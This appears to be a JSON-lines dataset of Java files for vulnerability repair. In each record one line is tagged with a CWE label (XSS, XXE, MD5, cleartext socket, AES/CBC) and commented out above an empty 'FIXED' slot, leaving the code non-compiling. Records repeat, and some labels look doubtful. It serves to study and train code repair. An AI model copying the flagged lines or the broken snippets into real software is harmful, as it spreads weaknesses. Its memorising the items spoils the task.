{"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "/*\n * Copyright (C) 2016-2019 HERE Europe B.V.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * SPDX-License-Identifier: Apache-2.0\n * License-Filename: LICENSE\n */\n\npackage com.here.gluecodium.cache;\n\nimport com.here.gluecodium.cli.GluecodiumExecutionException;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\nfinal class HashValueCalculator {\n\n public static byte[] calculateHashValue(final String content) {\n\n try {\n \n// BUG: CWE-328: Use of Weak Hash\n// MessageDigest messageDigest = MessageDigest.getInstance(\"MD5\");\n// FIXED: \n\n \n\n messageDigest.update(content.getBytes());\n return messageDigest.digest();\n } catch (NoSuchAlgorithmException e) {\n throw new GluecodiumExecutionException(\"Hash value algorithm is not available\", e);\n }\n }\n}\n"} {"language": "java", "text": "/*******************************************************************************\n * Copyright (c) 2011-2014 Fernando Petrola\n * \n * This file is part of Dragome SDK.\n * \n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the GNU Public License v3.0\n * which accompanies this distribution, and is available at\n * http://www.gnu.org/licenses/gpl.html\n ******************************************************************************/\npackage com.dragome.web.serverside.servlets;\n\nimport java.io.IOException;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.dragome.web.serverside.debugging.websocket.ClassTransformerDragomeWebSocketHandler;\nimport com.dragome.web.services.AbstractServicesInvocationHandler;\n\n//@WebServlet(value= \"/\" + AbstractServicesInvocationHandler.SERVICE_INVOKER_PATH)\npublic class ClassTransformerInvokerServlet extends GetPostServlet\n{\n\tprotected void doService(HttpServletRequest req, HttpServletResponse resp) throws IOException\n\t{\n\t\ttry\n\t\t{\n\t\t\tString parameter= req.getParameter(AbstractServicesInvocationHandler.INVOCATION);\n\n\t\t\tString result= (String) ClassTransformerDragomeWebSocketHandler.executeMethod(getClass().getPackage().getName() + \".ServiceInvoker\", \"invoke\", parameter);\n\t\t\tresp.setCharacterEncoding(\"utf-8\");\n\t\t\tif (result != null)\n\t\t\t\t\n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// resp.getWriter().write(result);\n// FIXED: \n\n \n\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\tpublic void init() throws ServletException\n\t{\n\t\tsuper.init();\n\t}\n}\n"} {"language": "java", "text": "package com.scudata.common;\n\nimport java.io.InputStream;\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\nimport com.scudata.parallel.XmlUtil;\n\n/**\t\n\n 12\n 0\n 10\n 12\n d:/path/raqsofCofig.xml\n d:/sp.log\n\t\n\t\n\n**/\npublic class SplServerConfig {\n\tpublic String tempTimeOut,interval,backlog,proxyTimeOut,splConfig,logPath;\n\tpublic String splHome,JVMArgs;\n\t\n\tpublic static SplServerConfig getCfg(InputStream is) throws Exception {\n\t\tDocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory\n\t\t\t\t.newInstance();\n\t\t\n// BUG: CWE-611: Improper Restriction of XML External Entity Reference\n// DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();\n// FIXED: \n\n \n\n\t\tDocument xmlDocument = docBuilder.parse(is);\n\t\tNodeList nl = xmlDocument.getChildNodes();\n\t\tNode root = null;\n\t\tfor (int i = 0; i < nl.getLength(); i++) {\n\t\t\tNode n = nl.item(i);\n\t\t\tif (n.getNodeName().equalsIgnoreCase(\"SERVER\")) {\n\t\t\t\troot = n;\n\t\t\t}\n\t\t}\n\t\tif (root == null) {\n\t\t\tthrow new Exception( \"Invalid config file.\" );\n\t\t}\n\t\tSplServerConfig ssc = new SplServerConfig();\n\t\tNode subNode = XmlUtil.findSonNode(root, \"splHome\");\n\t\tif(subNode!=null) {\n\t\t\tssc.splHome = XmlUtil.getNodeValue(subNode);\n\t\t}else {\n\t\t\tthrow new Exception(\"splHome is not specified.\");\n\t\t}\n\t\t\n\t\tsubNode = XmlUtil.findSonNode(root, \"JVMArgs\");\n\t\tif(subNode!=null) {\n\t\t\tssc.JVMArgs = XmlUtil.getNodeValue(subNode);\n\t\t}\n//server\n\t\tsubNode = XmlUtil.findSonNode(root, \"TempTimeOut\");\n\t\tif(subNode!=null) {\n\t\t\tssc.tempTimeOut = XmlUtil.getNodeValue(subNode);\n\t\t}\n\t\tsubNode = XmlUtil.findSonNode(root, \"ProxyTimeOut\");\n\t\tif(subNode!=null) {\n\t\t\tssc.proxyTimeOut = XmlUtil.getNodeValue(subNode);\n\t\t}\n\t\tsubNode = XmlUtil.findSonNode(root, \"Interval\");\n\t\tif(subNode!=null) {\n\t\t\tssc.interval = XmlUtil.getNodeValue(subNode);\n\t\t}\n\t\tsubNode = XmlUtil.findSonNode(root, \"Backlog\");\n\t\tif(subNode!=null) {\n\t\t\tssc.backlog = XmlUtil.getNodeValue(subNode);\n\t\t}\n\t\tsubNode = XmlUtil.findSonNode(root, \"LogPath\");\n\t\tif(subNode!=null) {\n\t\t\tssc.logPath = XmlUtil.getNodeValue(subNode);\n\t\t}\n\t\tsubNode = XmlUtil.findSonNode(root, \"SplConfig\");\n\t\tif(subNode!=null) {\n\t\t\tssc.splConfig = XmlUtil.getNodeValue(subNode);\n\t\t}\n\t\treturn ssc;\n\t}\n\n}\n"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "/**\n * Tencent is pleased to support the open source community by making Tars available.\n *\n * Copyright (C) 2016 THL A29 Limited, a Tencent company. All rights reserved.\n *\n * Licensed under the BSD 3-Clause License (the \"License\"); you may not use this file except\n * in compliance with the License. You may obtain a copy of the License at\n *\n * https://opensource.org/licenses/BSD-3-Clause\n *\n * Unless required by applicable law or agreed to in writing, software distributed\n * under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\npackage com.qq.tars.maven.util;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.StringReader;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.xml.sax.EntityResolver;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\n\npublic class XMLConfigFile {\n\n private Document doc;\n\n public void parse(InputStream is) throws SAXException, IOException, ParserConfigurationException {\n DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();\n \n// BUG: CWE-611: Improper Restriction of XML External Entity Reference\n// DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();\n// FIXED: \n\n \n\n docBuilder.setEntityResolver(new EntityResolver() {\n\n public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {\n if (systemId.contains(\"http://java.sun.com/dtd/web-app_2_3.dtd\")) {\n return new InputSource(new StringReader(\"\"));\n } else {\n return null;\n }\n }\n });\n\n doc = docBuilder.parse(is);\n }\n\n public XMLConfigElement getRootElement() {\n Element root = doc.getDocumentElement();\n return new XMLConfigElement(root);\n }\n}\n"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "package com.scudata.lib.redis.function;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.net.UnknownHostException;\n\nimport com.scudata.common.MessageManager;\nimport com.scudata.common.RQException;\nimport com.scudata.dm.Context;\nimport com.scudata.expression.Function;\nimport com.scudata.expression.Node;\nimport com.scudata.resources.EngineMessage;\n\npublic class SocketRedisOpen extends Function {\n\t\n\tprotected nl.melp.redis.Redis redis = null;\n\t\n\tpublic Node optimize(Context ctx) {\n\t\tif (param != null) {\n\t\t\tparam.optimize(ctx);\n\t\t}\n\t\t\n\t\treturn this;\n\t}\n\n\tpublic Object calculate(Context ctx) {\n\t\ttry {\n\t\t\tObject objs[] = new Object[1];\t\n\t\t\tif (param != null) {\n\t\t\t\tif (param.isLeaf()){\t\t\t\n\t\t\t\t\tobjs[0] = param.getLeafExpression().calculate(ctx);\n\t\t\t\t\tif (!(objs[0] instanceof String)) {\n\t\t\t\t\t\tMessageManager mm = EngineMessage.get();\n\t\t\t\t\t\tthrow new RQException(\"redis_open\" + mm.getMessage(\"function.paramTypeError\"));\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tString[] ss = objs[0].toString().split(\":\");\n\t\t\tString host = ss[0];\n\t\t\tint port = 6379;\n\t\t\tif (ss.length>1) port = Integer.parseInt(ss[1]);\n\t\t\t\n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// redis = new nl.melp.redis.Redis(new Socket(host, port));\n// FIXED: \n\n \n\n\t\t} catch (Exception e) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn this;\n\t}\n\t\n}\n"} {"language": "java", "text": "/**\n * Tencent is pleased to support the open source community by making Tars available.\n *\n * Copyright (C) 2016 THL A29 Limited, a Tencent company. All rights reserved.\n *\n * Licensed under the BSD 3-Clause License (the \"License\"); you may not use this file except\n * in compliance with the License. You may obtain a copy of the License at\n *\n * https://opensource.org/licenses/BSD-3-Clause\n *\n * Unless required by applicable law or agreed to in writing, software distributed\n * under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\npackage com.qq.tars.server.common;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.xml.sax.EntityResolver;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.StringReader;\n\npublic class XMLConfigFile {\n\n private Document doc;\n\n public void parse(InputStream is) throws SAXException, IOException, ParserConfigurationException {\n DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();\n \n// BUG: CWE-611: Improper Restriction of XML External Entity Reference\n// DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();\n// FIXED: \n\n \n\n docBuilder.setEntityResolver(new EntityResolver() {\n\n @Override\n public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {\n if (systemId.contains(\"http://java.sun.com/dtd/web-app_2_3.dtd\")) {\n return new InputSource(new StringReader(\"\"));\n } else {\n return null;\n }\n }\n });\n\n doc = docBuilder.parse(is);\n }\n\n public XMLConfigElement getRootElement() {\n Element root = doc.getDocumentElement();\n return new XMLConfigElement(root);\n }\n}\n"} {"language": "java", "text": "package com.sbaars.adventofcode.year15.days;\n\nimport com.sbaars.adventofcode.common.Pair;\nimport com.sbaars.adventofcode.year15.Day2015;\n\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\nimport static com.sbaars.adventofcode.common.Pair.pair;\nimport static java.lang.Integer.MAX_VALUE;\nimport static java.util.stream.IntStream.range;\n\npublic class Day4 extends Day2015 {\n\n public Day4() {\n super(4);\n }\n\n public static void main(String[] args) {\n new Day4().printParts();\n }\n\n @Override\n public Object part1() {\n return solution(\"00000\");\n }\n\n @Override\n public Object part2() {\n return solution(\"000000\");\n }\n\n private int solution(String prefix) {\n String in = day().trim();\n return range(0, MAX_VALUE)\n .mapToObj(i -> pair(i, md5(in + i)))\n .filter(s -> s.b().startsWith(prefix))\n .map(Pair::a)\n .findFirst()\n .get();\n }\n\n public String md5(String md5) {\n try {\n \n// BUG: CWE-328: Use of Weak Hash\n// MessageDigest md = MessageDigest.getInstance(\"MD5\");\n// FIXED: \n\n \n\n byte[] array = md.digest(md5.getBytes());\n StringBuilder sb = new StringBuilder();\n for (byte b : array) {\n sb.append(Integer.toHexString((b & 0xFF) | 0x100), 1, 3);\n }\n return sb.toString();\n } catch (NoSuchAlgorithmException ignored) {\n }\n throw new IllegalStateException(\"Unable to hash \" + md5);\n }\n}\n"} {"language": "java", "text": "package util;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.security.SecureRandom;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class PortProvider {\n\n private PortProvider() {\n }\n\n private static final int MINIMUM = 1024;\n private static final SecureRandom RANDOM = new SecureRandom();\n private static final ConcurrentMap PORTS = new ConcurrentHashMap<>();\n\n public static int getPort(String name) {\n return PORTS.computeIfAbsent(name, (key) -> randomPort());\n }\n\n private static int randomPort() {\n while (true) {\n int randomPort = RANDOM.nextInt(9999);\n if (randomPort < MINIMUM) {\n randomPort += MINIMUM;\n }\n if (isAvailable(randomPort)) {\n return randomPort;\n }\n }\n }\n\n private static boolean isAvailable(int port) {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// try (Socket ignored = new Socket(\"127.0.0.1\", port)) {\n// FIXED: \n\n \n\n return false;\n } catch (IOException ignored) {\n return true;\n }\n }\n}\n"} {"language": "java", "text": "/**\n * Alipay.com Inc.\n * Copyright (c) 2004-2020 All Rights Reserved.\n */\npackage com.alipay.easysdk.kernel.util;\n\nimport com.alipay.easysdk.kernel.AlipayConstants;\nimport org.bouncycastle.util.encoders.Base64;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\n\n/**\n * \u52a0\u5bc6\u5de5\u5177\n */\npublic class AES {\n private static final String AES_ALG = \"AES\";\n private static final String AES_CBC_PCK_ALG = \"AES/CBC/PKCS5Padding\";\n private static final byte[] AES_IV = initIV();\n\n /**\n * AES\u52a0\u5bc6\n *\n * @param plainText \u660e\u6587\n * @param key \u5bf9\u79f0\u5bc6\u94a5\n * @return \u5bc6\u6587\n */\n public static String encrypt(String plainText, String key) {\n try {\n \n// BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n// Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n// FIXED: \n\n \n\n\n IvParameterSpec iv = new IvParameterSpec(AES_IV);\n cipher.init(Cipher.ENCRYPT_MODE,\n new SecretKeySpec(Base64.decode(key.getBytes()), AES_ALG), iv);\n\n byte[] encryptBytes = cipher.doFinal(plainText.getBytes(AlipayConstants.DEFAULT_CHARSET));\n return new String(Base64.encode(encryptBytes));\n } catch (Exception e) {\n throw new RuntimeException(\"AES\u52a0\u5bc6\u5931\u8d25\uff0cplainText=\" + plainText +\n \"\uff0ckeySize=\" + key.length() + \"\u3002\" + e.getMessage(), e);\n }\n }\n\n /**\n * \u5bc6\u6587\n *\n * @param cipherText \u5bc6\u6587\n * @param key \u5bf9\u79f0\u5bc6\u94a5\n * @return \u660e\u6587\n */\n public static String decrypt(String cipherText, String key) {\n try {\n Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n IvParameterSpec iv = new IvParameterSpec(AES_IV);\n cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(Base64.decode(key.getBytes()), AES_ALG), iv);\n\n byte[] cleanBytes = cipher.doFinal(Base64.decode(cipherText.getBytes()));\n return new String(cleanBytes, AlipayConstants.DEFAULT_CHARSET);\n } catch (Exception e) {\n throw new RuntimeException(\"AES\u89e3\u5bc6\u5931\u8d25\uff0ccipherText=\" + cipherText +\n \"\uff0ckeySize=\" + key.length() + \"\u3002\" + e.getMessage(), e);\n }\n }\n\n /**\n * \u521d\u59cb\u5411\u91cf\u7684\u65b9\u6cd5\uff0c\u5168\u90e8\u4e3a0\n * \u8fd9\u91cc\u7684\u5199\u6cd5\u9002\u5408\u4e8e\u5176\u5b83\u7b97\u6cd5\uff0cAES\u7b97\u6cd5IV\u503c\u4e00\u5b9a\u662f128\u4f4d\u7684(16\u5b57\u8282)\n */\n private static byte[] initIV() {\n try {\n Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n int blockSize = cipher.getBlockSize();\n byte[] iv = new byte[blockSize];\n for (int i = 0; i < blockSize; ++i) {\n iv[i] = 0;\n }\n return iv;\n } catch (Exception e) {\n int blockSize = 16;\n byte[] iv = new byte[blockSize];\n for (int i = 0; i < blockSize; ++i) {\n iv[i] = 0;\n }\n return iv;\n }\n }\n}"} {"language": "java", "text": "package test_with_remote_apis.commands;\n\nimport com.slack.api.app_backend.SlackSignature;\nimport com.slack.api.app_backend.events.servlet.SlackSignatureVerifier;\nimport com.slack.api.app_backend.slash_commands.SlashCommandPayloadParser;\nimport com.slack.api.app_backend.slash_commands.payload.SlashCommandPayload;\nimport lombok.extern.slf4j.Slf4j;\nimport org.eclipse.jetty.server.Server;\nimport org.eclipse.jetty.servlet.ServletHandler;\n\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.stream.Collectors;\n\npublic class SlashCommandApiBackend {\n\n @Slf4j\n @WebServlet\n public static class SlackEventsServlet extends HttpServlet {\n\n // Configure this env variable to run this servlet\n private final String slackSigningSecret = System.getenv(\"SLACK_TEST_SIGNING_SECRET\");\n\n private final SlackSignature.Generator signatureGenerator = new SlackSignature.Generator(slackSigningSecret);\n private final SlackSignatureVerifier signatureVerifier = new SlackSignatureVerifier(signatureGenerator);\n private final SlashCommandPayloadParser parser = new SlashCommandPayloadParser();\n\n protected String doReadRequestBodyAsString(HttpServletRequest req) throws IOException {\n return req.getReader().lines().collect(Collectors.joining(System.lineSeparator()));\n }\n\n protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {\n String requestBody = doReadRequestBodyAsString(req);\n log.info(\"request - {}\", requestBody);\n boolean validSignature = this.signatureVerifier.isValid(req, requestBody);\n if (!validSignature) { // invalid signature\n if (log.isDebugEnabled()) {\n String signature = req.getHeader(SlackSignature.HeaderNames.X_SLACK_SIGNATURE);\n log.debug(\"An invalid X-Slack-Signature detected - {}\", signature);\n }\n resp.setStatus(401);\n return;\n }\n\n SlashCommandPayload payload = parser.parse(requestBody);\n log.info(\"payload - {}\", payload);\n\n resp.setStatus(200);\n resp.setHeader(\"Content-Type\", \"text/plain\");\n if (payload.getText() != null) {\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// resp.getWriter().write(payload.getText());\n// FIXED: \n\n \n\n }\n }\n }\n\n // https://www.eclipse.org/jetty/documentation/current/embedding-jetty.html\n\n public static void main(String[] args) throws Exception {\n Server server = new Server(3000);\n ServletHandler handler = new ServletHandler();\n server.setHandler(handler);\n handler.addServletWithMapping(SlackEventsServlet.class, \"/slack/events\");\n server.start();\n server.join();\n }\n}\n\n"} {"language": "java", "text": "package net.sf.borg.common;\n\n// This example is from the book _Java in a Nutshell_ by David Flanagan.\n// modified by Mike Berger. No license appllies to this source file\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintStream;\nimport java.net.Socket;\nimport java.util.logging.Logger;\n\n/**\n * SocketClient sends text messages over a socket\n */\n\npublic class SocketClient {\n\t\n\tstatic private final Logger log = Logger.getLogger(\"net.sf.borg\");\n\n\n\t/**\n\t * Send a msg.\n\t * \n\t * @param host the host\n\t * @param port the port\n\t * @param msg the msg\n\t * \n\t * @return the response string\n\t * \n\t * @throws IOException Signals that an I/O exception has occurred.\n\t */\n\tpublic static String sendMsg(String host, int port, String msg) throws IOException {\n\t\tSocket s = null;\n\t\tString line = null;\n\t\ttry {\n\t\t\t\n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// s = new Socket(host, port);\n// FIXED: \n\n \n\n\t\t\tBufferedReader sin = new BufferedReader(new InputStreamReader(s\n\t\t\t\t\t.getInputStream()));\n\t\t\tPrintStream sout = new PrintStream(s.getOutputStream());\n\t\t\tsout.println(msg);\n\t\t\tline = sin.readLine();\n\t\t\t// Check if connection is closed (i.e. for EOF)\n\t\t\tif (line == null) {\n\t\t\t\tlog.info(\"Connection closed by server.\");\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tif (s != null)\n\t\t\t\ts.close();\n\t\t\tthrow e;\n\t\t}\n\t\t// Always be sure to close the socket\n\t\tfinally {\n\t\t\ttry {\n\t\t\t\tif (s != null)\n\t\t\t\t\ts.close();\n\t\t\t} catch (IOException e2) {\n\t\t\t\tthrow e2;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn line;\n\t}\n\n\n\n\t\n}\n"} {"language": "java", "text": "/**\n * Alipay.com Inc.\n * Copyright (c) 2004-2020 All Rights Reserved.\n */\npackage com.alipay.easysdk.kernel.util;\n\nimport com.alipay.easysdk.kernel.AlipayConstants;\nimport org.bouncycastle.util.encoders.Base64;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\n\n/**\n * \u52a0\u5bc6\u5de5\u5177\n */\npublic class AES {\n private static final String AES_ALG = \"AES\";\n private static final String AES_CBC_PCK_ALG = \"AES/CBC/PKCS5Padding\";\n private static final byte[] AES_IV = initIV();\n\n /**\n * AES\u52a0\u5bc6\n *\n * @param plainText \u660e\u6587\n * @param key \u5bf9\u79f0\u5bc6\u94a5\n * @return \u5bc6\u6587\n */\n public static String encrypt(String plainText, String key) {\n try {\n \n// BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n// Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n// FIXED: \n\n \n\n\n IvParameterSpec iv = new IvParameterSpec(AES_IV);\n cipher.init(Cipher.ENCRYPT_MODE,\n new SecretKeySpec(Base64.decode(key.getBytes()), AES_ALG), iv);\n\n byte[] encryptBytes = cipher.doFinal(plainText.getBytes(AlipayConstants.DEFAULT_CHARSET));\n return new String(Base64.encode(encryptBytes));\n } catch (Exception e) {\n throw new RuntimeException(\"AES\u52a0\u5bc6\u5931\u8d25\uff0cplainText=\" + plainText +\n \"\uff0ckeySize=\" + key.length() + \"\u3002\" + e.getMessage(), e);\n }\n }\n\n /**\n * \u5bc6\u6587\n *\n * @param cipherText \u5bc6\u6587\n * @param key \u5bf9\u79f0\u5bc6\u94a5\n * @return \u660e\u6587\n */\n public static String decrypt(String cipherText, String key) {\n try {\n Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n IvParameterSpec iv = new IvParameterSpec(AES_IV);\n cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(Base64.decode(key.getBytes()), AES_ALG), iv);\n\n byte[] cleanBytes = cipher.doFinal(Base64.decode(cipherText.getBytes()));\n return new String(cleanBytes, AlipayConstants.DEFAULT_CHARSET);\n } catch (Exception e) {\n throw new RuntimeException(\"AES\u89e3\u5bc6\u5931\u8d25\uff0ccipherText=\" + cipherText +\n \"\uff0ckeySize=\" + key.length() + \"\u3002\" + e.getMessage(), e);\n }\n }\n\n /**\n * \u521d\u59cb\u5411\u91cf\u7684\u65b9\u6cd5\uff0c\u5168\u90e8\u4e3a0\n * \u8fd9\u91cc\u7684\u5199\u6cd5\u9002\u5408\u4e8e\u5176\u5b83\u7b97\u6cd5\uff0cAES\u7b97\u6cd5IV\u503c\u4e00\u5b9a\u662f128\u4f4d\u7684(16\u5b57\u8282)\n */\n private static byte[] initIV() {\n try {\n Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n int blockSize = cipher.getBlockSize();\n byte[] iv = new byte[blockSize];\n for (int i = 0; i < blockSize; ++i) {\n iv[i] = 0;\n }\n return iv;\n } catch (Exception e) {\n int blockSize = 16;\n byte[] iv = new byte[blockSize];\n for (int i = 0; i < blockSize; ++i) {\n iv[i] = 0;\n }\n return iv;\n }\n }\n}"} {"language": "java", "text": "/**\n * Alipay.com Inc.\n * Copyright (c) 2004-2020 All Rights Reserved.\n */\npackage com.alipay.easysdk.kernel.util;\n\nimport com.alipay.easysdk.kernel.AlipayConstants;\nimport org.bouncycastle.util.encoders.Base64;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\n\n/**\n * \u52a0\u5bc6\u5de5\u5177\n */\npublic class AES {\n private static final String AES_ALG = \"AES\";\n private static final String AES_CBC_PCK_ALG = \"AES/CBC/PKCS5Padding\";\n private static final byte[] AES_IV = initIV();\n\n /**\n * AES\u52a0\u5bc6\n *\n * @param plainText \u660e\u6587\n * @param key \u5bf9\u79f0\u5bc6\u94a5\n * @return \u5bc6\u6587\n */\n public static String encrypt(String plainText, String key) {\n try {\n \n// BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n// Cipher cipher = Cipher.getInstance(AES_CBC_PCK_ALG);\n// FIXED: \n\n \n\n\n IvParameterSpec iv = new IvParameterSpec(AES_IV);\n cipher.init(Cipher.ENCRYPT_MODE,\n new SecretKeySpec(Base64.decode(key.getBytes()), AES_ALG), iv);\n\n byte[] encryptBytes = cipher.doFinal(plainText.getBytes(AlipayConstants.DEFAULT_CHARSET));\n return new String(Base64.encode(encryptBytes));\n } catch (Exception e) {\n throw new RuntimeException(\"AES\u52a0\u5bc6\u5931\u8d25\uff0cplainText=\" + plainText +\n \"\uff0ckeySize=\" + key.length() + \"\u3002\" + e.getMessage(), e);\n }\n }\n\n /**\n * \u5bc6\u6587\n *\n * @param cipherText \u5bc6\u6587\n * @param key 